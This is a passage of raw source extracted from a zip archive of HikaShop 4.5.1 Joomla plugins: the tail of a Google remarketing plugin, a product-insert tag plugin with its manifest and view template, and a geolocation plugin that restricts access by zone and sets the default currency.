		$extraJS = '';
		if($id != (int)$id){
			$extraJS = 'alert(\'You have configured the remarketing plugin of HikaShop with a wrong Adword ID. It should be a number. Please edit it via the Joomla plugins manager and correct it.\');';
		}

		$js = '<!-- Google code for remarketingtag -->
<script type="text/javascript">

var google_tag_params = {'.implode(', ',$params).' };
var google_conversion_id = '.(int)$id.';
var google_custom_params = window.google_tag_params;
var google_remarketing_only = true;
'.$extraJS.'

</script>
<script type="text/javascript" src="//www.googleadservices.com/pagead/conversion.js">
</script>
<noscript>
<div style="display:inline;">
<img height="1" width="1" style="border-style:none;" alt="" src="//googleads.g.doubleclick.net/pagead/viewthroughconversion/'.(int)$id.'/?value=0&guid=ON&script=0"/>
</div>
</noscript>
';
		$body = preg_replace('#\<\/body\>#', $js.'</body>', $body, 1);

		if($alternate_body) {
			$app->setBody($body);
		} else {
			JResponse::setBody($body);
		}
	}

	function _additionalParameter(&$product, $param) {
		static $fields = false;

		if($fields === false) {
			$fieldsClass = hikashop_get('class.field');
			$data = null;
			$fields = $fieldsClass->getFields('all', $data, 'product');
		}

		if(empty($this->params[$param])) {
			$this->params[$param] = 'product_code';
		}

		$column = $this->params[$param];

		if(empty($product->$column))
			return false;
		return $product->$column;
	}
}
PK!=m�4{<{</hikashopproductinsert/hikashopproductinsert.phpnu�[���<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class plgSystemHikashopproductInsert extends JPlugin {

	var $name = 0;
	var $pricetax = 0;
	var $pricedis = 0;
	var $cart = 0;
	var $quantityfield = 0;
	var $description = 0;
	var $picture = 0;
	var $link = 0;
	var $border = 0;
	var $badge = 0;
	var $price = 0;

	function __construct(&$subject, $config) {
		parent::__construct($subject, $config);
		if(isset($this->params))
			return;

		$plugin = JPluginHelper::getPlugin('system', 'hikashopproductinsert');
		if(version_compare(JVERSION,'2.5','<')){
			jimport('joomla.html.parameter');
			$this->params = new JParameter($plugin->params);
		} else {
			$this->params = new JRegistry($plugin->params);
		}
	}

	function escape($str) {
		return htmlspecialchars($str, ENT_COMPAT, 'UTF-8');
	}

	function onAfterRoute() {

		$load = $this->params->get('load_hikashop_on_all_frontend_pages', 0);
		if(!$load)
			return;

		$app = JFactory::getApplication();

		if(version_compare(JVERSION,'3.0','>=')) {
			$layout = $app->input->getString('layout');
			$ctrl = $app->input->getString('ctrl');
			$task = $app->input->getString('task');
			$function = $app->input->getString('function');
		} else {
			$layout = JRequest::getString('layout');
			$ctrl = JRequest::getString('ctrl');
			$task = JRequest::getString('task');
			$function = JRequest::getString('function');
		}
		if(version_compare(JVERSION,'4.0','>=')) {
			$admin = $app->isClient('administrator');
		} else {
			$admin = $app->isAdmin();
		}

		if($admin)
			return true;

		if($layout == 'edit' || $ctrl == 'plugins' && $task == 'trigger' && $function == 'productDisplay')
			return true;

		if(!defined('DS'))
			define('DS', DIRECTORY_SEPARATOR);
		if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php'))
			return true;

		JPluginHelper::importPlugin('hikashop');
	}

	function onAfterRender() {
		$app = JFactory::getApplication();

		if(version_compare(JVERSION,'3.0','>=')) {
			$layout = $app->input->getString('layout');
			$ctrl = $app->input->getString('ctrl');
			$task = $app->input->getString('task');
			$function = $app->input->getString('function');
		} else {
			$layout = JRequest::getString('layout');
			$ctrl = JRequest::getString('ctrl');
			$task = JRequest::getString('task');
			$function = JRequest::getString('function');
		}
		if(version_compare(JVERSION,'4.0','>=')) {
			$admin = $app->isClient('administrator');
		} else {
			$admin = $app->isAdmin();
		}

		if($admin)
			return true;

		if($layout == 'edit' || $ctrl == 'plugins' && $task == 'trigger' && $function == 'productDisplay')
			return true;

		$body = null;
		if(class_exists('JResponse'))
			$body = JResponse::getBody();
		$alternate_body = false;
		if(empty($body) && method_exists($app,'getBody')) {
			$body = $app->getBody();
			$alternate_body = true;
		}

		$search_space = substr($body,strpos($body,'<body'));
		if(preg_match_all('#{hk(show|hide)([^\}]*)}(.*){\/hk(show|hide)}#Uis', $search_space, $matches)) {
			$this->_processShowHide($matches);
		}

		if((preg_match_all('#\{product\}(.*)\{\/product\}#Uis', $search_space, $matches) || preg_match_all('#\{product (.*)\}#Uis', $search_space, $matches))) {
			$this->_processProduct($matches);
		}

	}
	function _processShowHide(&$matches) {
		if(!defined('DS'))
			define('DS', DIRECTORY_SEPARATOR);
		if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php'))
			return true;

		$app = JFactory::getApplication();

		$productsBought = null;
		$cart = null;

		if(class_exists('JResponse'))
			$body = JResponse::getBody();
		$alternate_body = false;
		if(empty($body)) {
			$body = $app->getBody();
			$alternate_body = true;
		}
		$search_space = $new_search_space = substr($body,strpos($body,'<body'));

		if(!empty($matches) && count($matches[0])) {
			foreach($matches[0] as $k => $match) {

				$show = ($matches[1][$k] == 'show');
				$content = $matches[3][$k];
				$attributes = trim($matches[2][$k]);
				if(!empty($attributes)) {
					$attributes = explode(' ', $attributes);
					foreach($attributes as $attribute) {
						$elements = explode('=', $attribute, 2);
						$key = trim(reset($elements));
						switch($key) {
							case 'bought':
							case 'notbought':
								if(is_null($productsBought))
									$productsBought = $this->_getBoughtProducts();
								$hasProduct = (count($elements) > 1);
								$bought = ($key == 'bought');

								$productHasBeenBought = false;
								if($hasProduct) {
									$product = trim($elements[1],'" ');
									if(!empty($productsBought)) {
										foreach($productsBought as $p) {
											if(@$p->product_id == $product || $p->order_product_name == $product || $p->order_product_code == $product)
												$productHasBeenBought = true;
										}
									}
								} elseif(!empty($productsBought) && is_array($productsBought)) {
									$productHasBeenBought = count($productsBought) > 0;
								}

								if(($productHasBeenBought && $bought) || (!$productHasBeenBought && !$bought)) {
								} else {
									$show = !$show;
									break 2;
								}
								break;
							case 'mincart':
							case 'maxcart':
								if(count($elements) <= 1)
									break;
								$amount = trim($elements[1], '" ');
								if(!is_numeric($amount))
									break;
								if(is_null($cart)) {
									$cartClass = hikashop_get('class.cart');
									$cart = $cartClass->getFullCart();
								}
								$total = 0;
								if(!empty($cart->total->full_total->prices[0]->price_value_with_tax))
									$total = $cart->total->full_total->prices[0]->price_value_with_tax;

								if(
									($key == 'maxcart' && $total > $amount) ||
									($key == 'mincart' && $total < $amount)
								) {
									$show = !$show;
									break 2;
								}

								break;
							default:
								break;
						}
					}
				}

				if(!$show)
					$content = '';
				$new_search_space = str_replace($match, $content, $new_search_space);
			}
		}

		$body = str_replace($search_space,$new_search_space,$body);

		if($alternate_body) {
			$app->setBody($body);
		} else {
			JResponse::setBody($body);
		}
	}

	function _getBoughtProducts() {
		$user_id = hikashop_loadUser(false);
		if(!$user_id)
			return null;

		$db = JFactory::getDBO();

		$statuses = $this->params->get('statuses', 'confirmed,shipped');
		$statuses = explode(',', $statuses);
		foreach($statuses as $k => $v) {
			$statuses[$k] = $db->Quote($v);
		}

		$product_query = 'SELECT op.order_product_id, op.order_product_name, op.order_product_code FROM #__hikashop_order AS o LEFT JOIN #__hikashop_order_product AS op ON o.order_id=op.order_id WHERE o.order_status IN ('.implode(',', $statuses).') AND op.order_product_quantity > 1 AND o.order_user_id = ' . $user_id;
		$db->setQuery($product_query);
		$productsBought = $db->loadObjectList();
		return $productsBought;
	}

	function _processProduct(&$matches) {
		if(!defined('DS'))
			define('DS', DIRECTORY_SEPARATOR);
		if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php'))
			return true;

		global $Itemid;
		if(empty($Itemid)) {
			$urlItemid = hikaInput::get()->getInt('Itemid');
			if($urlItemid) {
				$Itemid = $urlItemid;
			}
		}

		JPluginHelper::importPlugin('hikashop');
		$app = JFactory::getApplication();
		$db = JFactory::getDBO();
		$currencyClass = hikashop_get('class.currency');
		$this->image = hikashop_get('helper.image');
		$this->classbadge = hikashop_get('class.badge');
		$para = array();
		$nbtag = count($matches[1]);
		for($i = 0; $i < $nbtag; $i++) {
			$para[$i] = explode('|', $matches[1][$i]);
		}

		$k = 0;
		$ids = array();
		for($i = 0; $i < $nbtag; $i++) {
			for($u = 0; $u < count($para[$i]); $u++) {
				if(in_array($para[$i][$u], array('name', 'pricetax', 'pricedis', 'cart', 'quantityfield', 'description', 'link', 'border', 'badge', 'picture')))
					continue;

				$ids[$k]= (int)$para[$i][$u];
				$k++;
			}
		}

		$product_query = 'SELECT * FROM ' . hikashop_table('product') . ' WHERE product_id IN (' . implode(',', $ids) . ') AND product_access='.$db->quote('all').' AND product_published=1 ORDER BY FIELD(product_id, ' . implode(',', $ids) . ')';
		$db->setQuery($product_query);
		$products = $db->loadObjectList();

		$db->setQuery('SELECT * FROM '.hikashop_table('variant').' AS v LEFT JOIN '.hikashop_table('characteristic').' AS c ON v.variant_characteristic_id = c.characteristic_id WHERE variant_product_id IN ('.implode(',',$ids).')');
		$variants = $db->loadObjectList();

		$parent_ids = array();

		foreach($products as $product) {
			$product->characteristic_name = false;

			if($product->product_type == 'variant'){
				$product->has_options = false;
				$parent_ids[] = $product->product_parent_id;
			}

			if(empty($variants))
				continue;

			foreach($variants as $variant){
				if($product->product_id == $variant->variant_product_id && $product->product_type == 'main') {
					$product->has_options = true;
					break;
				}
				if($product->product_id == $variant->variant_product_id && $product->product_type == 'variant') {
					if(empty($product->product_name)){
						$product->product_name = $variant->characteristic_value;
						$product->characteristic_name = true;
					}
					break;
				}
			}
		}


		if(!empty($parent_ids)){
			$productClass = hikashop_get('class.product');
			$productClass->getProducts($parent_ids);

			foreach($products as $product){
				if($product->product_type == 'variant' && isset($product->product_parent_id) && in_array($product->product_parent_id, $parent_ids)){
					if(!isset($productClass->products[$product->product_parent_id]))
						continue;

					if($product->characteristic_name)
						$product->product_name = $productClass->products[$product->product_parent_id]->product_name.': ' . $product->product_name;
					if(empty($product->product_description))
						$product->product_description = $productClass->products[$product->product_parent_id]->product_description;
					if(empty($product->product_tax_id))
						$product->product_tax_id = $productClass->products[$product->product_parent_id]->product_tax_id;
				}
			}
		}

		$db->setQuery('SELECT product_id FROM '.hikashop_table('product_related').' WHERE product_related_type = '.$db->quote('options').' AND product_id IN ('.implode(',',$ids).')');
		$options = $db->loadObjectList();
		if(!empty($options)) {
			foreach($products as $k => $product) {
				foreach($options as $option) {
					if($product->product_id == $option->product_id) {
						$products[$k]->has_options = true;
						break;
					}
				}
			}
		}

		foreach($products as $k => $product) {
			$this->classbadge->loadBadges($products[$k]);
		}

		$queryImage = 'SELECT * FROM ' . hikashop_table('file') . ' WHERE file_ref_id IN (' . implode(',', $ids) . ') AND file_type=\'product\' ORDER BY file_ordering ASC, file_id ASC';
		$db->setQuery($queryImage);
		$images = $db->loadObjectList();
		$productClass = hikashop_get('class.product');
		foreach($products as $k => $row) {
			$productClass->addAlias($products[$k]);
			foreach($images as $j => $image) {
				if($row->product_id != $image->file_ref_id)
					continue;

				foreach(get_object_vars($image) as $key => $name) {
					if(!isset($products[$k]->images))
						$products[$k]->images = array();
					if(!isset($products[$k]->images[$j]))
						$products[$k]->images[$j] = new stdClass();

					$products[$k]->images[$j]->$key = $name;
				}
			}
		}

		$q = 'SELECT c.*, pc.* '.
			' FROM '.hikashop_table('category').' AS c '.
			' LEFT JOIN '.hikashop_table('product_category').' AS pc ON c.category_id = pc.category_id '.
			' WHERE pc.product_id IN ('.implode(',', $ids).');';
		$db->setQuery($q);
		$categories = $db->loadObjectList();
		if(!empty($categories)) {
			foreach($products as &$row) {
				$row->categories = array();
				foreach($categories as $category) {
					if($row->product_id > 0 && ($row->product_id == $category->product_id || $row->product_parent_id == $category->product_id)) {
						$row->categories[(int)$category->category_id] = $category;
					}
				}
			}
			unset($row);
		}
		$productClass->loadCustomItemFieldsForProductsListing($products);


		$zone_id = hikashop_getZone();
		$currencyClass = hikashop_get('class.currency');
		$config = hikashop_config();
		$defaultParams = $config->get('default_params');
		$currencyClass->getListingPrices($products,$zone_id,hikashop_getCurrency(),$defaultParams['price_display_type']);

		$fields = array(
			'name' => 'name',
			'pricedis1' => 'pricedis',
			'pricedis2' => array('pricedis', 2),
			'pricedis3' => array('pricedis', 3),
			'pricetax1' => 'pricetax',
			'pricetax2' => array('pricetax', 2),
			'price' => 'price',
			'cart' => 'cart',
			'quantityfield' => 'quantityfield',
			'description' => 'description',
			'picture' => 'picture',
			'link' => 'link',
			'border' => 'border',
			'badge' => 'badge',
		);

		if(class_exists('JResponse'))
			$body = JResponse::getBody();
		$alternate_body = false;
		if(empty($body)) {
			$body = $app->getBody();
			$alternate_body = true;
		}

		for($i = 0; $i < $nbtag; $i++) {
			$nbprodtag = count($para[$i]);

			foreach($fields as $k => $v) {
				if(is_string($v))
					$this->$v = 0;

				if(in_array($k, $para[$i])) {
					if(is_array($v))
						$this->{ $v[0] } = $v[1];
					else
						$this->$v = 1;

					$nbprodtag--;
				}
			}

			$this->menuid = 0;
			foreach($para[$i] as $key => $value){
				if(substr($value, 0, 6) == "menuid") {
					$explode = explode(':', $value);
					$this->menuid = $explode[1];
				}
			}

			$id = array();
			for($j = 0; $j < $nbprodtag; $j++) {
				$id[$j] = $para[$i][$j];
			}

			$name = 'hikashopproductinsert_view.php';
			$path = JPATH_THEMES.DS.$app->getTemplate().DS.'system'.DS.$name;
			if(!file_exists($path)) {
				if(version_compare(JVERSION,'1.6','<'))
					$path = JPATH_PLUGINS .DS.'system'.DS.$name;
				else
					$path = JPATH_PLUGINS .DS.'system'.DS.'hikashopproductinsert'.DS.$name;

				if(!file_exists($path))
					return true;
			}

			ob_start();
			require($path);
			$product_view = ob_get_clean();

			$pattern = '#\{product\}(.*)\{\/product\}#Uis';
			$replacement = '';


			$search_space = substr($body,strpos($body,'<body'));
			$new_search_space = preg_replace($pattern, str_replace('$','\$',$product_view), $search_space, 1);

			$pattern = '#\{product (.*)\}#Uis';
			$replacement = '';
			$new_search_space = preg_replace($pattern, str_replace('$','\$',$product_view), $new_search_space, 1);

			$body = str_replace($search_space,$new_search_space,$body);
		}
		if($alternate_body) {
			$app->setBody($body);
		} else {
			JResponse::setBody($body);
		}
	}
}
PK!�%�v/hikashopproductinsert/hikashopproductinsert.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" version="2.5" method="upgrade" group="system">
	<name>HikaShop Product TAG translation</name>
	<creationDate>29 avril 2022</creationDate>
	<version>4.5.1</version>
	<author>Hikari Software</author>
	<authorEmail>dev@hikashop.com</authorEmail>
	<authorUrl>http://www.hikashop.com</authorUrl>
	<copyright>(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses/gpl-3.0.html GNU/GPL</license>
	<description>Hikashop product tag translation plugin</description>
	<files>
		<filename plugin="hikashopproductinsert">hikashopproductinsert.php</filename>
		<filename plugin="hikashopproductinsert">hikashopproductinsert_view.php</filename>
	</files>
	<params addpath="/components/com_hikashop/params">
		<param name="itemid" type="text" default="" label="MENU" description="PRODUCTINSERT_MENU" />
		<param name="load_hikashop_on_all_frontend_pages" type="radio" default="0" label="HIKA_LOAD_HIKASHOP" description="HIKA_LOAD_HIKASHOP_DESC" class="btn-group btn-group-yesno">
			<option value="0">HIKASHOP_NO</option>
			<option value="1">HIKASHOP_YES</option>
		</param>
		<param name="statuses" type="text" default="confirmed,shipped" label="ORDER_STATUSES_FOR_BOUGHT_TAG" description="ORDER_STATUSES_FOR_BOUGHT_TAG_DESC" />
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_hikashop/fields">
			<fieldset name="basic">
				<field name="itemid" type="text" default="" label="MENU" description="PRODUCTINSERT_MENU" />
				<field name="load_hikashop_on_all_frontend_pages" type="radio" default="0" label="HIKA_LOAD_HIKASHOP" description="HIKA_LOAD_HIKASHOP_DESC" class="btn-group btn-group-yesno">
					<option value="0">HIKASHOP_NO</option>
					<option value="1">HIKASHOP_YES</option>
				</field>
				<field name="statuses" type="text" default="confirmed,shipped" label="ORDER_STATUSES_FOR_BOUGHT_TAG" description="ORDER_STATUSES_FOR_BOUGHT_TAG_DESC" />
			</fieldset>
		</fields>
	</config>
</extension>
PK!�EW~]]4hikashopproductinsert/hikashopproductinsert_view.phpnu�[���<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
if(version_compare(JVERSION,'2.5','<')){
	jimport('joomla.html.parameter');
	$params = new JParameter('');
} else {
	$params = new JRegistry('');
}

$app = JFactory::getApplication();
$js = '';
global $Itemid;
$config =& hikashop_config();
$custom_itemid = $this->params->get('itemid');
if($this->quantityfield == 1)
	$params->set('show_quantity_field', 1);

$productClass = hikashop_get('class.product');

$thumbnail_x = $config->get('thumbnail_x',100);
$thumbnail_y = $config->get('thumbnail_y',100);
foreach($products as $product) {
	if(in_array($product->product_id,$id)){
		echo'<div id="hikashop_inserted_product_'.$product->product_id.'" class="hikashop_inserted_product_'.$product->product_id.'" style="text-align:center;">';
		$_SESSION['hikashop_product']=$product;
		if($this->border == 1 ) echo '<div class="hikashop_subcontainer hikashop_subcontainer_border">';
		$productClass->addAlias($product);
		$url_itemid = '';
		if(!empty($custom_itemid)){
			$url_itemid = '&Itemid='.(int)$custom_itemid;
		}
		elseif(!empty($Itemid)){
			$url_itemid = '&Itemid='.(int)$Itemid;
		}
		elseif($this->menuid != 0){
			$url_itemid = '&Itemid='.(int)$this->menuid;
		}
		$link = hikashop_contentLink('product&task=show&cid='.$product->product_id.'&name='.$product->alias.$url_itemid,$product);
		if(!empty($product->product_canonical)){
			$link = hikashop_cleanURL($product->product_canonical);
		}
		if($this->picture == 1) {
?>
			<!-- PRODUCT IMG -->
			<div style="position:relative;text-align:center;clear:both;width:200px;margin:auto;" class="hikashop_product_image">
				<?php if($this->link == 1){ ?>
						<a href="<?php echo $link;?>" title="<?php echo $this->escape($product->product_name); ?>">
				<?php }
					if(!empty($product->images)){
						$image =reset($product->images);
						$image_options = array('default' => true,'forcesize'=>$config->get('image_force_size',true),'scale'=>$config->get('image_scale_mode','inside'));
						$img = $this->image->getThumbnail(@$image->file_path, array('width' => $thumbnail_x, 'height' => $thumbnail_y), $image_options);
						if($img->success) {
							echo '<img class="hikashop_product_tag_image" title="'.$this->escape(@$image->file_description).'" alt="'.$this->escape(@$image->file_name).'" src="'.$img->url.'"/>';
						}
						if($this->badge == 1){
							if(!empty($product->badges))
								$this->classbadge->placeBadges($this->image, $product->badges, array('vertical' => 0, 'horizontal' => 0, 'thumbnail' => $img));
						}
					}
				if($this->link == 1){ ?>
					</a>
				<?php } ?>
			</div>
			<!-- EO PRODUCT IMG -->
<?php
		}
		if($this->pricedis != 0 || $this->pricetax != 0 || $this->price !=0) {
?>
			<!-- PRODUCT PRICE -->
<?php
				if ($this->pricedis == 3){
					$default_params = $config->get('default_params');
					$pricediscount = @$default_params['show_discount'];
				}else $pricediscount = $this->pricedis;
				if($pricediscount == 1) $params->set('show_discount',1);
				if($pricediscount == 2) $params->set('show_discount',2);
				if($this->pricetax == 1) $params->set('price_with_tax',3);
				if($this->pricetax == 2) $params->set('price_with_tax',2);
				if($this->price == 1) $params->set('price_with_tax',3);
				$price = hikashop_getLayout('product','listing_price',$params,$js);
				echo $price;
?>
			<!-- EO PRODUCT PRICE -->
<?php
		}

		if($this->name == 1) {
?>
			<!-- PRODUCT NAME -->
			<span class="hikashop_product_name">
				<?php if($this->link == 1){ ?>
					<a href="<?php echo $link;?>">
				<?php }
					echo $product->product_name;
				if($this->link == 1){ ?>
					</a>
				<?php } ?>
			</span>
			<!-- EO PRODUCT NAME -->
<?php
		}

		if($this->description == 1) {
?>
			<!-- PRODUCT DESCRIPTION -->
			<span class="hikashop_product_description"><?php
				echo $product->product_description;
			?></span>
			<!-- EO PRODUCT DESCRIPTION -->
<?php
		}

		if($this->cart == 1) {
?>
			<!-- ADD TO CART BUTTON AREA -->
			<style type="text/css">
			.hikashop_inserted_product span.hikashop_add_to_cart table { margin: 0 auto; }
			.hikashop_inserted_product .hikashop_product_stock {
				text-align: center;
				display:block;
				margin-bottom:5px;
			}
			.hikashop_inserted_product span.hikashop_add_to_cart{
				text-align: center;
				display:block;
				margin-bottom:5px;
			}
			.hikashop_inserted_product .hikashop_product_quantity_field{
				float: none !important;
				width: 25px !important;
			}
			</style>
			<span class="hikashop_add_to_cart">
			<?php
				$params->set('price_with_tax',$config->get('price_with_tax',1));
				$params->set('add_to_cart',1);
				$params->set('display_custom_item_fields', -1);
				$params->set('main_div_name', 'hikashop_inserted_product_' . $product->product_id);

				echo hikashop_getHTML(function() use ($params, $js){
					$add_to_cart = hikashop_getLayout('product','add_to_cart_listing',$params,$js);
					echo $add_to_cart;
				});
			?>
			</span>
			<!-- EO ADD TO CART BUTTON AREA -->
<?php
		}

		if($this->border == 1 ) echo '</div>';
		echo'</div>';
	}
}
PK!�#o,, hikashopproductinsert/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK!��;�GG6hikashopgeolocation/hikashopgeolocation_restricted.phpnu�[���<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><html>
	<head>
<?php
	$doc = JFactory::getDocument();
	$head = $doc->loadRenderer('head');
	if(HIKASHOP_J30)
		echo $head->render('');
	else
		echo $head->render();
?>
	</head>
	<body>
		<?php echo hikashop_display(JText::_('RESSOURCE_NOT_ALLOWED'),'error'); ?>
	</body>
</html>
<?php exit;
PK!
d(� � +hikashopgeolocation/hikashopgeolocation.phpnu�[���<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class plgSystemHikashopgeolocation extends JPlugin
{
	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('system', 'hikashopgeolocation');
			$this->params = new JRegistry($plugin->params);
		}
	}

	function onAfterOrderCreate(&$order,&$send_email){
		$app = JFactory::getApplication();
		if (hikashop_isClient('administrator') || !hikashop_level(2))
			return true;

		if(!empty($order->order_id) && !empty($order->order_ip)){
			$order_geoloc = $this->params->get('order',1);
			if($order_geoloc){
				$geo = new stdClass();
				$geo->geolocation_ref_id = $order->order_id;
				$geo->geolocation_type = 'order';
				$geo->geolocation_ip = $order->order_ip;
				$class = hikashop_get('class.geolocation');
				$class->params =& $this->params;
				$class->save($geo);
			}
		}
		return true;
	}

	public function afterInitialise() {
		return $this->onAfterInitialise();
	}

	public function afterRoute() {
		return $this->onAfterRoute();
	}

	public function onAfterInitialise() {
		$app = JFactory::getApplication();

		$admin = false;
		if(version_compare(JVERSION,'4.0','>=') && $app->isClient('administrator'))
			$admin = true;
		if(version_compare(JVERSION,'4.0','<') && $app->isAdmin())
			$admin = true;
		if($admin)
			return;

		if(!$this->params->get('after_init', 1))
			return;

		$this->process();
	}

	public function onAfterRoute() {
		$app = JFactory::getApplication();
		$admin = false;
		if(version_compare(JVERSION,'4.0','>=') && $app->isClient('administrator'))
			$admin = true;
		if(version_compare(JVERSION,'4.0','<') && $app->isAdmin())
			$admin = true;
		if($admin)
			return;

		if($this->params->get('after_init', 1))
			return;

		$this->process();
	}

	function process(){
		$app = JFactory::getApplication();
		$admin = false;
		if(version_compare(JVERSION,'4.0','>=') && $app->isClient('administrator'))
			$admin = true;
		if(version_compare(JVERSION,'4.0','<') && $app->isAdmin())
			$admin = true;
		if ($admin) return true;
		$zone = 0;
		$components  = $this->params->get('components','all');

		if($components=='all' || in_array($_REQUEST['option'],explode(',',$components))){
			$blocked_zones = $this->params->get('blocked_zones','');
			$authorized_zones = $this->params->get('authorized_zones','');

			if(!empty($blocked_zones) || !empty($authorized_zones)){
				if(!defined('DS'))
					define('DS', DIRECTORY_SEPARATOR);
				if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php')) return true;

				if(!hikashop_level(2)) return true;
				$zone = $this->getZone();
				if(!empty($zone)){
					$zoneClass = hikashop_get('class.zone');
					$parents = $zoneClass->getZoneParents($zone);
					$db = JFactory::getDBO();
					$zones = array();
					foreach($parents as $parent){
						$zones[] = $db->Quote($parent);
					}
					$db->setQuery('SELECT zone_id FROM '.hikashop_table('zone').' WHERE zone_namekey IN ('.implode(',',$zones).')');
					$zones = $db->loadColumn();

					$ok = false;
					if(!empty($authorized_zones)){
						$authorized_zones = explode(',',$authorized_zones);
						$valid_zones = array_intersect($zones,$authorized_zones);
						if(!empty($valid_zones)){
							$ok=true;
						}
					}elseif(!empty($blocked_zones)){
						$ok=true;
						$blocked_zones = explode(',',$blocked_zones);
						$invalid_zones = array_intersect($zones,$blocked_zones);
						if(!empty($invalid_zones)){
							$ok=false;
						}
					}
					if(!$ok){
						$name = 'hikashopgeolocation_restricted.php';
						$path = JPATH_THEMES.DS.$app->getTemplate().DS.'system'.DS.$name;
						if(!file_exists($path)){
							$path = JPATH_PLUGINS .DS.'system'.DS.'hikashopgeolocation'.DS.$name;
							if(!file_exists($path)){
								exit;
							}
						}

						require($path);
					}
				}
			}
		}

		$set_default_currency  = $this->params->get('set_default_currency', 0);
		if(!empty($set_default_currency)) {
			$currency = $app->getUserState('com_hikashop.currency_id', 0);
			if(empty($currency)){
				if(empty($zone)){
					if(!defined('DS'))
						define('DS', DIRECTORY_SEPARATOR);
					if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php')) return true;
					if(!hikashop_level(2)) return true;
					$zone = $this->getZone();
				}
				$config =& hikashop_config();
				$toSetCurrency = (int)$config->get('main_currency',1);
				if(!empty($zone)){
					$zoneClass = hikashop_get('class.zone');
					$zone_currency_id = $zoneClass->getZoneCurrency($zone);
					$currencyClass = hikashop_get('class.currency');

					if(empty($zone_currency_id) && !empty($this->geolocation->currencyCode)){
						$zone_currency_id = $this->geolocation->currencyCode;
					}

					if(!empty($zone_currency_id)){
						$currencyData = $currencyClass->get($zone_currency_id);
						if(!empty($currencyData) && ($currencyData->currency_published || $currencyData->currency_displayed)){
							$toSetCurrency = $currencyData->currency_id;
						}
					}
				}

				$app->setUserState( HIKASHOP_COMPONENT.'.currency_id',$toSetCurrency);
			}
		}

		$zone_id = (int)$app->getUserState('com_hikashop.zone_id',0);
		if(empty($zone_id) && empty($zone)) {
			if(!defined('DS'))
				define('DS', DIRECTORY_SEPARATOR);
			if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php')) return true;
			if(!hikashop_level(2)) return true;
			$zone = $this->getZone();
		}
		$geo_zone_id = (int)$app->getUserState('com_hikashop.geoloc_zone_id',0);
		if(empty($geo_zone_id) && !empty($zone))
			$app->setUserState('com_hikashop.geoloc_zone_id', (int)$zone);

		return true;
	}

	function getZone(){
		$app = JFactory::getApplication();
		$zone = (int)$app->getUserState(HIKASHOP_COMPONENT.'.zone_id',0);
		if(!empty($zone))
			return $zone;

		$geoClass = hikashop_get('class.geolocation');
		$this->geolocation = $geoClass->getIPLocation(hikashop_getIP());
		if(empty($this->geolocation))
			return $zone;

		$geolocation_country_code = $this->geolocation->countryCode;
		$db = JFactory::getDBO();
		$db->setQuery('SELECT * FROM '.hikashop_table('zone').' WHERE zone_code_2 ='.$db->Quote($geolocation_country_code).' AND zone_type=\'country\'  AND zone_published=1');
		$zones = $db->loadObjectList();
		if(empty($zones)) {
			$states = array();
			$countries = array();
			foreach($zones as $zone){
				if($zone->zone_type=='state'){
					$states[]=$zone;
				}else{
					$countries[]=$zone;
				}
			}
			if(!empty($states)){
				if(empty($countries)){
					$zone = $states[0]->zone_id;
				}else{
					$child_namekeys=array();
					foreach($states as $state){
						$child_namekeys[]=$db->Quote($state->zone_namekey);
					}
					$parent_namekeys=array();
					foreach($countries as $country){
						$parent_namekeys[]=$db->Quote($country->zone_namekey);
					}
					$db->setQuery('SELECT zone_child_namekey FROM '.hikashop_table('zone_link').' WHERE zone_parent_namekey IN ('.implode(',',$parent_namekeys).') AND zone_child_namekey IN ('.implode(',',$child_namekeys).')');
					$link = $db->loadResult();
					if(empty($link)){
						$zone = $countries[0]->zone_id;
					}else{
						foreach($states as $state){
							if($state->zone_namekey==$link){
								$zone = $state->zone_id;
							}
						}
					}
				}
			}else{
				$zone = $countries[0]->zone_id;
			}
		}
		if(empty($zone)){
			$db->setQuery('SELECT zone_id FROM '.hikashop_table('zone').' WHERE zone_code_2='.$db->Quote($geolocation_country_code).' AND zone_published=1');
			$zone = $db->loadResult();
		}
		if(!empty($zone)){
			$app->setUserState( HIKASHOP_COMPONENT.'.zone_id', (int)$zone);
			$app->setUserState( HIKASHOP_COMPONENT.'.geoloc_zone_id', (int)$zone);
		}

		return (int)$zone;
	}
}
PK!'�77+hikashopgeolocation/hikashopgeolocation.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
